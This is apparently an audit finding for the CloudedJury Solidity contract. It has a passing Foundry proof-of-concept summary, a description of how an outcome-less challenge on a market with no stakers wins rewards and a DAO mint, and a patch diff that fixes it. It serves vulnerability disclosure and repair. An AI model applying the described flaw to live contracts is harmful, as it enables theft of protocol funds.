Ran 1 test suite in 11.39ms (3.45ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Considerations

PoC executed successfully with Foundry strategy unit:test-poc-t-sol. The test drives the real CloudedJury.challenge, selectJury, resolveMarket, and claimReward paths plus real Clouded fallback winner and CloudedDAO minting. It demonstrates the zero-staker/no-reveal variant: an unprivileged challenger locks one NFT, supplies no challenged outcome, waits through voting with no DAO votes, then receives the challenger jury reward, gets the NFT returned, and receives a 1e18 DAO mint because marketReveals == marketStakes length is 0 == 0. The PoC does not cover variants with nonzero juror reveals or DAO votes.

Validation reasoning

PoC validation command completed successfully.

Remediation

Explanation

Require challengers to supply and store a valid asserted outcome through a three-argument challenge overload, reject the legacy outcome-less call, and use the stored assertion for challenger slashing, winner-stake accounting, reward payout, and DAO mint eligibility.

Patch

diff
diff --git a/src/CloudedJury.sol b/src/CloudedJury.sol
--- a/src/CloudedJury.sol
+++ b/src/CloudedJury.sol
@@ -1,646 +1,654 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { Strings } from "@openzeppelin/contracts/utils/Strings.sol";
 import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function swap(Set storage set, uint256 _indexA, uint256 _indexB) internal {
         if (_indexA == _indexB) return;
         
         uint256 idA = set.ids[_indexA];
         uint256 idB = set.ids[_indexB];
 
         set.ids[_indexA] = idB;
         set.ids[_indexB] = idA;
 
         set.positions[idA] = _indexB + 1;
         set.positions[idB] = _indexA + 1;
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IClouded {
     function nextMarketId() external view returns (uint256);
     function getMarketStartAtDaysOf(uint256) external view returns (uint256, uint256);
     function getOutcomeMarketId(uint256) external view returns (uint256);
     function getMarketOutcomeIds(uint256) external view returns (uint256[] memory);
     function getMarketWinningOutcome(uint256) external view returns (uint256);
     function getPriceAppreciation(uint256, bool, uint256) external view returns (uint256);
     function getMarketIndexInfoInBatch(uint256[] memory _marketIds) external view returns (string[] memory, uint256[] memory, uint256[][] memory, string[][] memory, uint256[][] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function getMarketResolutionInfoInBatch(uint256[] memory) external view returns (string[] memory, uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function createMarket(string memory, string memory, string[] memory, uint256) external returns (uint256[] memory);
     function buy(address, uint256, uint256, uint256, uint256, uint256) external payable;
     function claimJuryReward(address, uint256, uint256) external returns (uint256);
 }
 
 interface IDAO {
     function mint(address, uint256) external;
     function outcomeVotes(uint256) external view returns (uint256);
     function buyBack() external payable;
 }
 
 contract CloudedJury is ERC721, ReentrancyGuardTransient {
     using Strings for uint256;
     using Ids for Ids.Set;
 
     event AddToWhitelist(address indexed addr);
     event BatchMetadataUpdate(uint256 fromTokenId, uint256 toTokenId);
     event Stake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event Unstake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event CreateMarket(address indexed marketCreator, uint256 indexed marketId, uint256 indexed tokenId);
     event StakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes);
     event UnstakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes, bool isMarketOf);
     event CreateMarketAfter(address indexed marketCreator, uint256 indexed marketId, string marketName, string marketRule, uint256[] marketOutcomeIds, string[] marketOutcomeNames, uint256 startAt, uint256 daysOf);
     event RevealOutcome(uint256 indexed marketId, address indexed juryAddr, uint256 indexed juryOutcomeIdOf, bytes32 randomNumber, uint256 juryReveals, uint256 marketRevealedTS, uint256 juryOutcome);
     event SelectJury(uint256 indexed marketId, uint256 indexed tokenId, uint256 indexed tokenOutcomeId, address tokenOwner);
     event Challenge(address indexed challenger, uint256 indexed marketId, uint256 indexed tokenId, uint256 marketChallengedTS);
     event ResolveMarket(uint256 indexed marketId, uint256 votingOutcomeId, uint256 resolvedOutcomeId);
     event ClaimCreatorToken(address indexed creator, uint256 indexed marketId, uint256 tokenId);
     event ClaimChallengerReward(address indexed challenger, uint256 indexed marketId, uint256 tokenId, uint256 challengerReward);
     event ClaimJuryReward(address indexed staker, uint256 indexed marketId, uint256 tokenId, uint256 tokenReward);
     event ClaimRewardAfter(address indexed staker, uint256 indexed marketId, bool isMarketOf);
     event Slash(address indexed staker, uint256 indexed marketId, uint256 outcomeId, uint256 tokenId);
     event SendSlashedTokenToDAO(uint256 indexed marketId, uint256 tokens, uint256 tokenValue);
     event PublicLaunch();
 
     uint256 constant DECIMALS = 1e18;
     address public immutable MANAGER;
     address public CLOUDED;
     address public DAO;
 
     bool public whitelisted;
 
     // Overall protocol conditions
     string  private uri_;
     string  private baseURI_;
     uint256 private nextTokenId_;
     uint256 private totalSupply_;
     Ids.Set private allOngoingMarketIds_;
     Ids.Set private allResolvedMarketIds_;
     mapping(uint256 => Market) private markets_;
 
     // Staker conditions
     mapping(address => bool) private whitelisted_;
     mapping(address => Ids.Set) private tokenOf_;
     mapping(address => Ids.Set) private marketOf_; // Markets that stakers participate which include staking, creating, challenging
     mapping(uint256 => address) private tokenAddr_; // Staker token address
     mapping(address => mapping(uint256 => Ids.Set)) private marketTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketCreatorTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketChallengerTokenOf_;
     mapping(address => mapping(uint256 => bytes32)) private marketCommitHashOf_;
     mapping(address => mapping(uint256 => bool)) private marketHasRevealedOf_;
     mapping(address => mapping(uint256 => uint256)) private marketOutcomeOf_;
 
     // Staked tokens
     mapping(uint256 => Ids.Set) private marketStakes_; // total stakes in the market excluding creator and challenger tokens
     mapping(uint256 => Ids.Set) private marketJuryStakes_; // total stakes picked as jury
     mapping(uint256 => mapping(uint256 => uint256)) private juryOutcomeCount_;   // The amount of stakes in the jury, in the order of marketId → outcomeId → count
     mapping(uint256 => mapping(uint256 => uint256)) private marketOutcomeCount_; // The amount of stakes in the market
 
     struct Market {
         uint256 creatorTokens;
         uint256 challengerToken;
         uint256 marketRevealedTS;
         uint256 marketChallengedTS;
         uint256 marketReveals;
+        uint256 challengerOutcome;
         uint256 juryOutcome;
         uint256 votingOutcome;
         bytes32 randomNumber;
         bool juryHasSelected;
         bool marketResolved;
         Status status;
     }
 
     enum Status {
         ONGOING, 
         JURY, 
         APPEAL, 
         VOTING, 
         SETTLED
     }
 
     modifier isManager() { if (msg.sender != MANAGER) revert NotAuthorized(); _; }
 
     constructor(string memory _name, string memory _symbol, address _managerAddr) ERC721(_name, _symbol) {
         MANAGER = _managerAddr;
         whitelisted = true;
         nextTokenId_ = 1;
     }
 
     function addToWhitelist(address _addr) external isManager {
         whitelisted_[_addr] = true;
         emit AddToWhitelist(_addr);
     }
 
     function publicLaunch() external isManager { whitelisted = false; emit PublicLaunch(); }
 
     function isWhitelisted(address _addr) external view returns (bool) { return whitelisted_[_addr]; }
 
     function tokenURI(uint256 _tokenId) public view override returns (string memory) {
         _requireOwned(_tokenId);
         return bytes(baseURI_).length > 0 ? baseURI_ : string.concat(uri_, _tokenId.toString());
     }
 
     function updateURI(string memory _newBaseURI, string memory _newURI) external isManager {
         baseURI_ = _newBaseURI;
         uri_ = _newURI;
         emit BatchMetadataUpdate(1, nextTokenId_ - 1);
     }
 
     function updateDAOAddr(address _daoAddr) external isManager { DAO = _daoAddr; }
 
     function updateCloudedAddr(address _cloudedAddr) external isManager { CLOUDED = _cloudedAddr; }
 
     function updateMarketStatus(uint256 _marketId) external returns (uint8) { return uint8(_updateMarketStatus(_marketId)); }
 
     function getAllOngoingMarketIds() external view returns (uint256[] memory) { return allOngoingMarketIds_.getAll(); }
 
     function getCurrentCreateMarketPrice() external view returns (uint256) { return _getCurrentCreateMarketPrice(); }
 
     function getResolvedMarkets() external view returns (uint256) { return allResolvedMarketIds_.getLength(); }
 
     function getResolvedMarketIds(uint256 _offset, uint256 _limit) external view returns (uint256[] memory ids) {
         uint256 _totalMarkets = allResolvedMarketIds_.getLength();
         if (_offset >= _totalMarkets || _limit == 0) return new uint256[](0);
 
         uint256 _end   = _totalMarkets - _offset;
         uint256 _count = _end > _limit ? _limit : _end;
 
         ids = new uint256[](_count);
         for (uint256 i = 0; i < _count; i++) { ids[i] = allResolvedMarketIds_.getId(_end - 1 - i); }
     }
 
     function getMarketStoredInfo(uint256 _marketId) external view returns (
         uint256 creatorTokens, 
         uint256 challengerToken, 
         uint256 marketRevealedTS, 
         uint256 marketChallengedTS, 
         uint256 marketReveals, 
         uint256 juryOutcome, 
         uint256 votingOutcome, 
         bytes32 randomNumber, 
         bool    juryHasSelected, 
         bool    marketResolved
     ) {
         Market storage market = markets_[_marketId];
         creatorTokens      = market.creatorTokens;
         challengerToken    = market.challengerToken;
         marketRevealedTS   = market.marketRevealedTS;
         marketChallengedTS = market.marketChallengedTS;
         marketReveals      = market.marketReveals;
         juryOutcome        = market.juryOutcome;
         votingOutcome      = market.votingOutcome;
         randomNumber       = market.randomNumber;
         juryHasSelected    = market.juryHasSelected;
         marketResolved     = market.marketResolved;
     }
 
     function getMarketDerivedInfo(uint256 _marketId) external view returns (uint256 resolvedOutcome, uint8 status) {
         resolvedOutcome = _getResolvedMarketOutcome(_marketId);
         Status _current = _getMarketStatus(_marketId);
         status = uint8(_current > markets_[_marketId].status ? _current : markets_[_marketId].status);
     }
 
     function getUserTokenIds(address _userAddr) external view returns (uint256[] memory) { return tokenOf_[_userAddr].getAll(); }
 
     function getStakerMarketIds(address _stakerAddr) external view returns (uint256[] memory) { return marketOf_[_stakerAddr].getAll(); }
 
     function getStakerMarketTokenIds(address _stakerAddr, uint256 _marketId) external view returns (uint256[] memory creatorTokenIds, uint256[] memory challengerTokenIds, uint256[] memory stakerTokenIds) {
         creatorTokenIds    = marketCreatorTokenOf_[_stakerAddr][_marketId].getAll();
         challengerTokenIds = marketChallengerTokenOf_[_stakerAddr][_marketId].getAll();
         stakerTokenIds     = marketTokenOf_[_stakerAddr][_marketId].getAll();
     }
 
     function mint(uint256 _amount) external payable nonReentrant {
         if (whitelisted && !whitelisted_[msg.sender]) revert Whitelisted();
 
         if (_amount == 0) revert ZeroAmount();
 
         uint256 _mintPrice = 3 * _amount * DECIMALS; // The price for minting an NFT is 3 $HYPE
         if (msg.value < _mintPrice) revert InsufficientPayment();
 
         for (uint256 i = 0; i < _amount; i++) {
             _mint(msg.sender, nextTokenId_);
             nextTokenId_++;
         }
 
         IDAO(DAO).buyBack{value: _amount * DECIMALS / 100}();
 
         uint256 _refund = msg.value - _mintPrice;
         if (_refund > 0) {
             (bool _success, ) = msg.sender.call{value: _refund}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function redeem(uint256[] memory _tokenIds) external nonReentrant {
         uint256 _amount;
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             _burn(_tokenIds[i]);
             _amount++;
         }
 
         if (_amount == 0) revert ZeroAmount();
 
         (bool _success, ) = msg.sender.call{value: _amount * 299 * DECIMALS / 100}("");
         if (!_success) revert RefundFailed();
     }
 
     function stake(uint256 _marketId, uint256[] memory _tokenIds, bytes32 _commitHash) external nonReentrant {
         if (_commitHash == 0) revert NoCommitHash();
         if (_tokenIds.length == 0) revert NoTokenSelected();
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         uint256 _tokenId;
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _tokenId = _tokenIds[i];
             if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
             marketStakes.add(_tokenId);
             marketTokenOf.add(_tokenId);
             tokenAddr_[_tokenId] = msg.sender;
             _update(address(this), _tokenId, msg.sender);
             emit Stake(msg.sender, _marketId, _tokenId);
         }
         marketOf_[msg.sender].add(_marketId);
         marketCommitHashOf_[msg.sender][_marketId] = _commitHash;
         emit StakeAfter(msg.sender, _marketId, marketStakes.getLength());
     }
 
     function unstake(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (!marketTokenOf.isSet(_tokenIds[i])) revert NotStakedByOwner(_tokenIds[i]);
             marketStakes.remove(_tokenIds[i]);
             _unstake(_marketId, _tokenIds[i]);
         }
         if (marketTokenOf.getLength() == 0) delete marketCommitHashOf_[msg.sender][_marketId];
         if (marketCreatorTokenOf_[msg.sender][_marketId].getLength() == 0 && marketChallengerTokenOf_[msg.sender][_marketId].getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
         emit UnstakeAfter(msg.sender, _marketId, marketStakes.getLength(), marketOf_[msg.sender].isSet(_marketId));
     }
 
     function createMarket(string memory _name, string memory _rule, string[] memory _outcomes, uint256 _days, uint256[] memory _tokenIds, uint256 _outcomePosition, uint256 _shares) external payable nonReentrant {
         if (_outcomePosition == 0 || _outcomePosition > _outcomes.length) revert InvalidId();
 
         uint256 _requiredTokenAmount = _getCurrentCreateMarketPrice();
         if (_tokenIds.length < _requiredTokenAmount) revert StakeRequiredAmounts();
 
         uint256 _nextMarketId = IClouded(CLOUDED).nextMarketId();
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             marketCreatorTokenOf_[msg.sender][_nextMarketId].add(_tokenIds[i]);
             _update(address(this), _tokenIds[i], msg.sender);
             emit CreateMarket(msg.sender, _nextMarketId, _tokenIds[i]);
         }
 
         allOngoingMarketIds_.add(_nextMarketId);
         marketOf_[msg.sender].add(_nextMarketId);
         markets_[_nextMarketId].creatorTokens = _tokenIds.length;
 
         uint256[] memory _outcomeIds = IClouded(CLOUDED).createMarket(_name, _rule, _outcomes, _days);
         emit CreateMarketAfter(msg.sender, _nextMarketId, _name, _rule, _outcomeIds, _outcomes, block.timestamp, _days * 1 days);
 
         uint256 _outcomeId = _outcomeIds[_outcomePosition - 1];
         _creatorBuy(_nextMarketId, _outcomeId, _shares);
     }
 
     function revealOutcome(uint256 _marketId, uint256 _outcomeId, bytes32 _salt) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.JURY) revert JuryWindowEnded();
         if (IClouded(CLOUDED).getOutcomeMarketId(_outcomeId) != _marketId) revert InvalidId();
         if (marketHasRevealedOf_[msg.sender][_marketId]) revert OutcomeRevealed();
         marketHasRevealedOf_[msg.sender][_marketId] = true;
 
         bytes32 _commitHash = marketCommitHashOf_[msg.sender][_marketId];
         if (_commitHash == 0) revert NoCommitHash();
         if (keccak256(abi.encodePacked(msg.sender, _marketId, _outcomeId, _salt)) != _commitHash) revert WrongCommitHash();
         marketOutcomeOf_[msg.sender][_marketId] = _outcomeId;
 
         Market storage market = markets_[_marketId];
         market.randomNumber   = market.randomNumber ^ _salt;
 
         market.marketReveals     += marketTokenOf_[msg.sender][_marketId].getLength();
         if (market.marketReveals == marketStakes_[_marketId].getLength()) market.marketRevealedTS = block.timestamp;
 
         uint256 _winningOutcomeId;
         uint256 _winningOutcomeCount;
         uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
         marketOutcomeCount_[_marketId][_outcomeId] += marketTokenOf_[msg.sender][_marketId].getLength();
         for (uint256 i = 0; i < _marketOutcomeIds.length; i++) {
             if (marketOutcomeCount_[_marketId][_marketOutcomeIds[i]] > _winningOutcomeCount) {
                 _winningOutcomeId    = _marketOutcomeIds[i];
                 _winningOutcomeCount = marketOutcomeCount_[_marketId][_marketOutcomeIds[i]];
             }
         }
         market.juryOutcome = _winningOutcomeId;
 
         emit RevealOutcome(_marketId, msg.sender, _outcomeId, market.randomNumber, market.marketReveals, market.marketRevealedTS, market.juryOutcome);
     }
 
     function selectJury(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
 
         if (markets_[_marketId].juryHasSelected) revert JurySelected(true);
         markets_[_marketId].juryHasSelected = true;
 
         uint256 _attempt;
         Ids.Set storage marketStakes = marketStakes_[_marketId];
         uint256 _totalStakedTokens   = marketStakes.getLength();
         uint256 _jurySet             = _totalStakedTokens == 0 ? 0 : _totalStakedTokens < 5 ? 1 : _totalStakedTokens / 5 < 300 ? _totalStakedTokens / 5 : 300;
         while (_attempt < _jurySet) {
             uint256 _position = _attempt + uint256(keccak256(abi.encodePacked(markets_[_marketId].randomNumber, _attempt))) % (marketStakes.getLength() - _attempt);
             marketStakes.swap(_attempt, _position);
 
             uint256 _tokenId        = marketStakes.getId(_attempt);
             address _tokenOwner     = tokenAddr_[_tokenId];
             uint256 _tokenOutcomeId = marketOutcomeOf_[_tokenOwner][_marketId];
             if (_tokenOutcomeId != 0) {
                 marketJuryStakes_[_marketId].add(_tokenId);
                 juryOutcomeCount_[_marketId][_tokenOutcomeId]++;
                 emit SelectJury(_marketId, _tokenId, _tokenOutcomeId, _tokenOwner);
             }
 
             _attempt++;
         }
     }
 
     // Challenge can only be made once every market. 
     // The token will be rewarded if the voters also agree with the same outcome, 
     // but will be slashed for being wrong.
-    function challenge(uint256 _marketId, uint256 _tokenId) external nonReentrant {
+    function challenge(uint256, uint256) external pure {
+        revert ChallengerOutcomeRequired();
+    }
+
+    function challenge(uint256 _marketId, uint256 _tokenId, uint256 _outcomeId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
         if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
+        if (IClouded(CLOUDED).getOutcomeMarketId(_outcomeId) != _marketId) revert InvalidId();
 
         Market storage market = markets_[_marketId];
         if (!market.juryHasSelected) revert JurySelected(false);
         if (market.marketChallengedTS != 0) revert MarketAlreadyChallenged();
+        if (_outcomeId == market.juryOutcome) revert InvalidId();
         market.marketChallengedTS = block.timestamp;
+        market.challengerOutcome = _outcomeId;
         market.challengerToken++;
 
         marketOf_[msg.sender].add(_marketId);
         marketChallengerTokenOf_[msg.sender][_marketId].add(_tokenId);
 
         _update(address(this), _tokenId, msg.sender);
 
         emit Challenge(msg.sender, _marketId, _tokenId, block.timestamp);
     }
 
     function resolveMarket(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
 
         Market storage market = markets_[_marketId];
         if (market.marketResolved) revert MarketResolved(true);
         market.marketResolved = true;
 
         allOngoingMarketIds_.remove(_marketId);
         allResolvedMarketIds_.add(_marketId);
 
         bool _isMarketChallenged = market.marketChallengedTS != 0;
         if (_isMarketChallenged) {
             uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
             uint256[] memory _marketOutcomes   = new uint256[](_marketOutcomeIds.length);
             for (uint256 i = 0; i < _marketOutcomeIds.length; i++) _marketOutcomes[i] = IDAO(DAO).outcomeVotes(_marketOutcomeIds[i]);
             market.votingOutcome = _calculateMarketOutcome(_marketOutcomeIds, _marketOutcomes);
         }
 
         uint256 _resolvedOutcomeId = _getResolvedMarketOutcome(_marketId);
         _sendSlashedTokenValueToDao(_marketId, _resolvedOutcomeId);
 
         emit ResolveMarket(_marketId, market.votingOutcome, _resolvedOutcomeId);
     }
 
     function claimReward(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
         if (!markets_[_marketId].marketResolved) revert MarketResolved(false);
 
         uint256 _currentTokenId;
         uint256 _marketOutcome = _getResolvedMarketOutcome(_marketId);
         uint256 _outcomeOf     = marketOutcomeOf_[msg.sender][_marketId];
         (, uint256 _daysOf)    = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         (, uint256 _totalWinnerOutcomeStakes)   = _getSlashedAndRewardedTokens(_marketId, _marketOutcome);
         Market  storage market                  = markets_[_marketId];
         Ids.Set storage marketTokenOf           = marketTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketCreatorTokenOf    = marketCreatorTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketChallengerTokenOf = marketChallengerTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _currentTokenId = _tokenIds[i];
 
             if (marketCreatorTokenOf.isSet(_currentTokenId)) { _claimCreatorToken(_marketId, _currentTokenId); continue; }
 
             if (marketChallengerTokenOf.isSet(_currentTokenId)) {
-                if (market.juryOutcome != _marketOutcome) { // market.juryOutcome can be 0 if challenged
+                if (market.challengerOutcome == _marketOutcome) {
                     _claimChallengerReward(_marketId, _currentTokenId, _totalWinnerOutcomeStakes);
                     if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
-                } else _slash(_marketId, _outcomeOf, _currentTokenId); // Challenger has no vote on market outcome
+                } else _slash(_marketId, market.challengerOutcome, _currentTokenId);
                 continue;
             }
 
             if (!marketTokenOf.isSet(_currentTokenId)) continue; // The token is not creator, challenger, staker token, or belong to the market or caller
 
             if (!marketHasRevealedOf_[msg.sender][_marketId]) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; }
 
             if (marketJuryStakes_[_marketId].isSet(_currentTokenId)) {
                 if (_outcomeOf != _marketOutcome) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; } // The jury outcome is also checked and slashed if 0, equivalent to _getSlashedAndRewardedTokens
                 else if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
             }
 
             _unstake(_marketId, _currentTokenId);
 
             uint256 _tokenReward;
             if (_outcomeOf == _marketOutcome) _tokenReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _marketId, _totalWinnerOutcomeStakes);
 
             emit ClaimJuryReward(msg.sender, _marketId, _currentTokenId, _tokenReward);
         }
 
         if (marketCreatorTokenOf.getLength() == 0 && marketChallengerTokenOf.getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
 
         emit ClaimRewardAfter(msg.sender, _marketId, marketOf_[msg.sender].isSet(_marketId));
     }
 
     function _getCurrentCreateMarketPrice() private view returns (uint256) { return totalSupply_ / 100 > 5 ? totalSupply_ / 100 : 5; }
 
     function _update(address _to, uint256 _tokenId, address _auth) internal override returns (address) {
         address from = super._update(_to, _tokenId, _auth);
 
         if (from == address(0)) totalSupply_++;
         if (_to == address(0)) totalSupply_--;
 
         if (from != address(0)) tokenOf_[from].remove(_tokenId);
         if (_to != address(0)) tokenOf_[_to].add(_tokenId);
 
         return from;
     }
 
     function _updateMarketStatus(uint256 _marketId) private returns (Status) {
         if (_marketId == 0 || _marketId >= IClouded(CLOUDED).nextMarketId()) revert InvalidId();
         Market storage market = markets_[_marketId];
         Status _currentMarketStatus = _getMarketStatus(_marketId);
         if (_currentMarketStatus > market.status) market.status = _currentMarketStatus;
         return market.status;
     }
 
     function _getMarketStatus(uint256 _marketId) private view returns (Status) {
         (uint256 _startAt, uint256 _daysOf) = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         uint256 _marketEndAt = _startAt + _daysOf;
 
         Market storage market = markets_[_marketId];
         uint256 _currentTimestamp = block.timestamp;
 
         if (_currentTimestamp < _marketEndAt) return Status.ONGOING;
 
         if (market.marketRevealedTS == 0 && _currentTimestamp < _marketEndAt + 1 days) return Status.JURY;
 
         uint256 _challengeStart = market.marketRevealedTS != 0 ? market.marketRevealedTS : _marketEndAt + 1 days;
 
         if (market.marketChallengedTS != 0) return _currentTimestamp >= market.marketChallengedTS + 3 days ? Status.SETTLED : Status.VOTING;
 
         return _currentTimestamp < _challengeStart + 1 days ? Status.APPEAL : Status.SETTLED;
     }
 
     function _creatorBuy(uint256 _nextMarketId, uint256 _outcomeId, uint256 _shares) private {
         uint256 _executionPrice = IClouded(CLOUDED).getPriceAppreciation(_outcomeId, true, _shares);
         if (msg.value < _executionPrice) revert InsufficientPayment();
 
         IClouded(CLOUDED).buy{value: _executionPrice}(msg.sender, _nextMarketId, _outcomeId, _shares, _executionPrice, 0);
 
         if (msg.value - _executionPrice > 0) {
             (bool _success, ) = msg.sender.call{value: msg.value - _executionPrice}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function _unstake(uint256 _marketId, uint256 _tokenId) private {
         marketTokenOf_[msg.sender][_marketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
         _update(msg.sender, _tokenId, address(this));
         emit Unstake(msg.sender, _marketId, _tokenId);
     }
 
     function _calculateMarketOutcome(uint256[] memory _marketOutcomeIds, uint256[] memory _marketOutcomes) private pure returns (uint256) {
         uint256 _winningOutcome;
         uint256 _winningAmount;
         for (uint256 i = 0; i < _marketOutcomes.length; i++) {
             if (_marketOutcomes[i] > _winningAmount) {
                 _winningOutcome = _marketOutcomeIds[i];
                 _winningAmount  = _marketOutcomes[i];
             }
         }
         return _winningOutcome;
     }
 
     function _slash(uint256 _tokenMarketId, uint256 _tokenOutcomeId, uint256 _tokenId) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         marketTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
         emit Slash(msg.sender, _tokenMarketId, _tokenOutcomeId, _tokenId);
     }
 
     function _sendSlashedTokenValueToDao(uint256 _marketId, uint256 _marketResolvedOutcomeId) private {
         (uint256 _slashedTokens, ) = _getSlashedAndRewardedTokens(_marketId, _marketResolvedOutcomeId);
         if (_slashedTokens > 0) {
             totalSupply_ -= _slashedTokens;
             IDAO(DAO).buyBack{value: _slashedTokens * 299 * DECIMALS / 100}();
             emit SendSlashedTokenToDAO(_marketId, _slashedTokens, _slashedTokens * 299 * DECIMALS / 100);
         }
     }
 
     function _getSlashedAndRewardedTokens(uint256 _marketId, uint256 _marketOutcome) private view returns (uint256 slashedTokens, uint256 winnerOutcomeStakes) {
         Market storage market = markets_[_marketId];
-        uint256 _juryOutcome              = market.juryOutcome;
         uint256 _marketChallengerToken    = market.challengerToken;
-        bool    _isChallengerTokenSlashed = _marketOutcome == _juryOutcome;
+        bool    _isChallengerTokenSlashed = _marketOutcome != market.challengerOutcome;
 
         slashedTokens = marketJuryStakes_[_marketId].getLength() - juryOutcomeCount_[_marketId][_marketOutcome];
 
         if (_isChallengerTokenSlashed) {
             slashedTokens += _marketChallengerToken;
             _marketChallengerToken = 0;
         }
 
         winnerOutcomeStakes = _marketChallengerToken + marketOutcomeCount_[_marketId][_marketOutcome];
 
         slashedTokens += marketStakes_[_marketId].getLength() - market.marketReveals; // Total slashed tokens including tokens not revealed
     }
 
     function _getResolvedMarketOutcome(uint256 _marketId) private view returns (uint256) {
         Market storage market = markets_[_marketId];
         if (!market.marketResolved)    return 0;
         if (market.votingOutcome != 0) return market.votingOutcome;
         if (market.juryOutcome != 0)   return market.juryOutcome;
         return IClouded(CLOUDED).getMarketWinningOutcome(_marketId);
     }
 
     function _claimCreatorToken(uint256 _tokenMarketId, uint256 _currentTokenId) private {
         marketCreatorTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
         emit ClaimCreatorToken(msg.sender, _tokenMarketId, _currentTokenId);
     }
 
     function _claimChallengerReward(uint256 _tokenMarketId, uint256 _currentTokenId, uint256 _totalOutcomeStakes) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
 
         uint256 _challengerReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _tokenMarketId, _totalOutcomeStakes);
 
         emit ClaimChallengerReward(msg.sender, _tokenMarketId, _currentTokenId, _challengerReward);
     }
 
     error NotAuthorized();
     error Whitelisted();
     error ZeroAmount();
     error InvalidId();
     error RefundFailed();
     error NoTokenSelected();
     error OutcomeRevealed();
     error WrongCommitHash();
     error NoCommitHash();
     error MarketEnded();
     error MarketNotEnded();
     error JuryWindowEnded();
     error AppealWindowEnded();
     error MarketAlreadyChallenged();
+    error ChallengerOutcomeRequired();
     error NotOwner(uint256 tokenId);
     error NotStakedByOwner(uint256 tokenId);
     error JurySelected(bool selected);
     error MarketResolved(bool resolved);
     error InsufficientPayment();
     error StakeRequiredAmounts();
 }
\ No newline at end of file

diff --git a/CloudedJury.sol b/CloudedJury.sol
--- a/CloudedJury.sol
+++ b/CloudedJury.sol
@@ -1,646 +1,654 @@
 // SPDX-License-Identifier: MIT
 
